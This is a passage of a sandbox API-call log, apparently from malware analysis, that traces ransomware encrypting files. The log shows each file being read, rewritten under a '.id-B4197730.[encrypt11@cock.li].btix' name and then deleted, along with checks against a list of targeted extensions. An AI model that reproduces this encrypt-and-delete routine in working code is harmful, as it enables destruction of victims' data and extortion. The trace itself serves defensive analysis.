(lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.741] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0043.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0043.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0043.741] lstrlenW (lpString=".doc") returned 4 [0043.741] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.741] lstrlenW (lpString=".docx") returned 5 [0043.741] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0043.741] lstrlenW (lpString=".pdf") returned 4 [0043.741] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.741] lstrlenW (lpString=".xls") returned 4 [0043.741] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.741] lstrlenW (lpString=".xlsx") returned 5 [0043.741] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0043.741] lstrlenW (lpString=".ppt") returned 4 [0043.741] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0043.741] lstrlenW (lpString=".zip") returned 4 [0043.741] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.741] lstrlenW (lpString=".rar") returned 4 [0043.742] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.742] lstrlenW (lpString=".bz2") returned 4 [0043.742] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.742] lstrlenW (lpString=".7z") returned 3 [0043.742] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0043.742] lstrlenW (lpString=".dbf") returned 4 [0043.742] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0043.742] lstrlenW (lpString=".1cd") returned 4 [0043.742] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0043.742] lstrlenW (lpString=".jpg") returned 4 [0043.742] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0043.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0043.742] lstrlenW (lpString=".doc") returned 4 [0043.742] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.742] lstrlenW (lpString=".docx") returned 5 [0043.742] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0043.742] lstrlenW (lpString=".pdf") returned 4 [0043.742] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.742] lstrlenW (lpString=".xls") returned 4 [0043.742] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.742] lstrlenW (lpString=".xlsx") returned 5 [0043.742] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0043.742] lstrlenW (lpString=".ppt") returned 4 [0043.742] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0043.742] lstrlenW (lpString=".zip") returned 4 [0043.742] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.742] lstrlenW (lpString=".rar") returned 4 [0043.742] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.742] lstrlenW (lpString=".bz2") returned 4 [0043.742] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.742] lstrlenW (lpString=".7z") returned 3 [0043.743] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0043.743] lstrlenW (lpString=".dbf") returned 4 [0043.743] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0043.743] lstrlenW (lpString=".1cd") returned 4 [0043.743] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.743] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0043.743] lstrlenW (lpString=".jpg") returned 4 [0043.743] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.743] lstrcmpiW (lpString1=".msi", lpString2=".btix") returned 1 [0043.743] lstrlenW (lpString="netfx_Core_x86.msi") returned 18 [0043.743] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0043.743] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=1163264) returned 1 [0043.744] CloseHandle (hObject=0x358) returned 1 [0043.744] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0043.744] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0043.744] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.744] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0043.744] GetLastError () returned 0x0 [0043.744] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0044.336] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0044.418] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x1c010, lpOverlapped=0x0) returned 1 [0044.429] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x1c020, lpOverlapped=0x0) returned 1 [0044.435] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0044.435] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf8, lpOverlapped=0x0) returned 1 [0044.435] SetEndOfFile (hFile=0x344) returned 1 [0044.435] CloseHandle (hObject=0x344) returned 1 [0044.531] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.531] SetEndOfFile (hFile=0x358) returned 1 [0044.532] CloseHandle (hObject=0x358) returned 1 [0044.533] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.533] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0044.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0044.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0044.533] lstrlenW (lpString=".doc") returned 4 [0044.533] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.533] lstrlenW (lpString=".docx") returned 5 [0044.533] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0044.533] lstrlenW (lpString=".pdf") returned 4 [0044.534] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.534] lstrlenW (lpString=".xls") returned 4 [0044.534] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.534] lstrlenW (lpString=".xlsx") returned 5 [0044.534] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0044.534] lstrlenW (lpString=".ppt") returned 4 [0044.534] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0044.534] lstrlenW (lpString=".zip") returned 4 [0044.534] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.534] lstrlenW (lpString=".rar") returned 4 [0044.534] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.534] lstrlenW (lpString=".bz2") returned 4 [0044.534] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.534] lstrlenW (lpString=".7z") returned 3 [0044.534] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0044.534] lstrlenW (lpString=".dbf") returned 4 [0044.534] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0044.534] lstrlenW (lpString=".1cd") returned 4 [0044.534] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0044.534] lstrlenW (lpString=".jpg") returned 4 [0044.534] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0044.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0044.535] lstrlenW (lpString=".doc") returned 4 [0044.535] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.535] lstrlenW (lpString=".docx") returned 5 [0044.535] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0044.535] lstrlenW (lpString=".pdf") returned 4 [0044.535] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.535] lstrlenW (lpString=".xls") returned 4 [0044.535] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.535] lstrlenW (lpString=".xlsx") returned 5 [0044.535] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0044.535] lstrlenW (lpString=".ppt") returned 4 [0044.535] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0044.535] lstrlenW (lpString=".zip") returned 4 [0044.535] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.535] lstrlenW (lpString=".rar") returned 4 [0044.535] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.535] lstrlenW (lpString=".bz2") returned 4 [0044.535] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.535] lstrlenW (lpString=".7z") returned 3 [0044.535] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0044.535] lstrlenW (lpString=".dbf") returned 4 [0044.535] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0044.535] lstrlenW (lpString=".1cd") returned 4 [0044.536] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0044.536] lstrlenW (lpString=".jpg") returned 4 [0044.536] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.536] lstrcmpiW (lpString1=".msi", lpString2=".btix") returned 1 [0044.536] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22 [0044.536] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0044.537] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=872448) returned 1 [0044.537] CloseHandle (hObject=0x358) returned 1 [0044.537] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0044.537] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.537] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0044.537] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.537] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.537] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0044.538] GetLastError () returned 0x0 [0044.538] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0xd5000, lpOverlapped=0x0) returned 1 [0044.777] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xd5010, lpOverlapped=0x0) returned 1 [0044.790] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0044.790] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x100, lpOverlapped=0x0) returned 1 [0044.790] SetEndOfFile (hFile=0x344) returned 1 [0044.790] CloseHandle (hObject=0x344) returned 1 [0045.032] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.032] SetEndOfFile (hFile=0x358) returned 1 [0045.038] CloseHandle (hObject=0x358) returned 1 [0045.038] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0045.039] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0045.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0045.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0045.039] lstrlenW (lpString=".doc") returned 4 [0045.039] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.039] lstrlenW (lpString=".docx") returned 5 [0045.039] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0045.039] lstrlenW (lpString=".pdf") returned 4 [0045.039] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.039] lstrlenW (lpString=".xls") returned 4 [0045.039] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.039] lstrlenW (lpString=".xlsx") returned 5 [0045.039] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0045.039] lstrlenW (lpString=".ppt") returned 4 [0045.039] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0045.039] lstrlenW (lpString=".zip") returned 4 [0045.039] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.039] lstrlenW (lpString=".rar") returned 4 [0045.039] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.039] lstrlenW (lpString=".bz2") returned 4 [0045.039] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.039] lstrlenW (lpString=".7z") returned 3 [0045.039] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0045.040] lstrlenW (lpString=".dbf") returned 4 [0045.040] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0045.040] lstrlenW (lpString=".1cd") returned 4 [0045.040] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0045.040] lstrlenW (lpString=".jpg") returned 4 [0045.040] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0045.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0045.040] lstrlenW (lpString=".doc") returned 4 [0045.040] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.040] lstrlenW (lpString=".docx") returned 5 [0045.040] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0045.040] lstrlenW (lpString=".pdf") returned 4 [0045.040] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.040] lstrlenW (lpString=".xls") returned 4 [0045.040] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.040] lstrlenW (lpString=".xlsx") returned 5 [0045.040] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0045.040] lstrlenW (lpString=".ppt") returned 4 [0045.040] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0045.040] lstrlenW (lpString=".zip") returned 4 [0045.040] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.040] lstrlenW (lpString=".rar") returned 4 [0045.040] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.040] lstrlenW (lpString=".bz2") returned 4 [0045.040] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.040] lstrlenW (lpString=".7z") returned 3 [0045.040] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0045.041] lstrlenW (lpString=".dbf") returned 4 [0045.041] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0045.041] lstrlenW (lpString=".1cd") returned 4 [0045.041] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0045.041] lstrlenW (lpString=".jpg") returned 4 [0045.041] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.041] lstrcmpiW (lpString1=".msi", lpString2=".btix") returned 1 [0045.041] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16 [0045.041] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0045.041] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=94720) returned 1 [0045.041] CloseHandle (hObject=0x358) returned 1 [0045.041] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0045.041] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.041] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0045.042] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.042] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.042] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0045.042] GetLastError () returned 0x0 [0045.042] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x17200, lpOverlapped=0x0) returned 1 [0045.134] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x17210, lpOverlapped=0x0) returned 1 [0045.135] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0045.135] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf4, lpOverlapped=0x0) returned 1 [0045.136] SetEndOfFile (hFile=0x344) returned 1 [0045.136] CloseHandle (hObject=0x344) returned 1 [0045.157] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.158] SetEndOfFile (hFile=0x358) returned 1 [0045.159] CloseHandle (hObject=0x358) returned 1 [0045.159] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0045.159] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0045.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0045.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0045.160] lstrlenW (lpString=".doc") returned 4 [0045.160] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.160] lstrlenW (lpString=".docx") returned 5 [0045.160] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0045.160] lstrlenW (lpString=".pdf") returned 4 [0045.160] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.160] lstrlenW (lpString=".xls") returned 4 [0045.160] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.160] lstrlenW (lpString=".xlsx") returned 5 [0045.160] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0045.160] lstrlenW (lpString=".ppt") returned 4 [0045.160] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0045.160] lstrlenW (lpString=".zip") returned 4 [0045.160] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.160] lstrlenW (lpString=".rar") returned 4 [0045.160] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.160] lstrlenW (lpString=".bz2") returned 4 [0045.160] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.160] lstrlenW (lpString=".7z") returned 3 [0045.160] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0045.160] lstrlenW (lpString=".dbf") returned 4 [0045.160] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0045.160] lstrlenW (lpString=".1cd") returned 4 [0045.160] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.160] lstrlenW 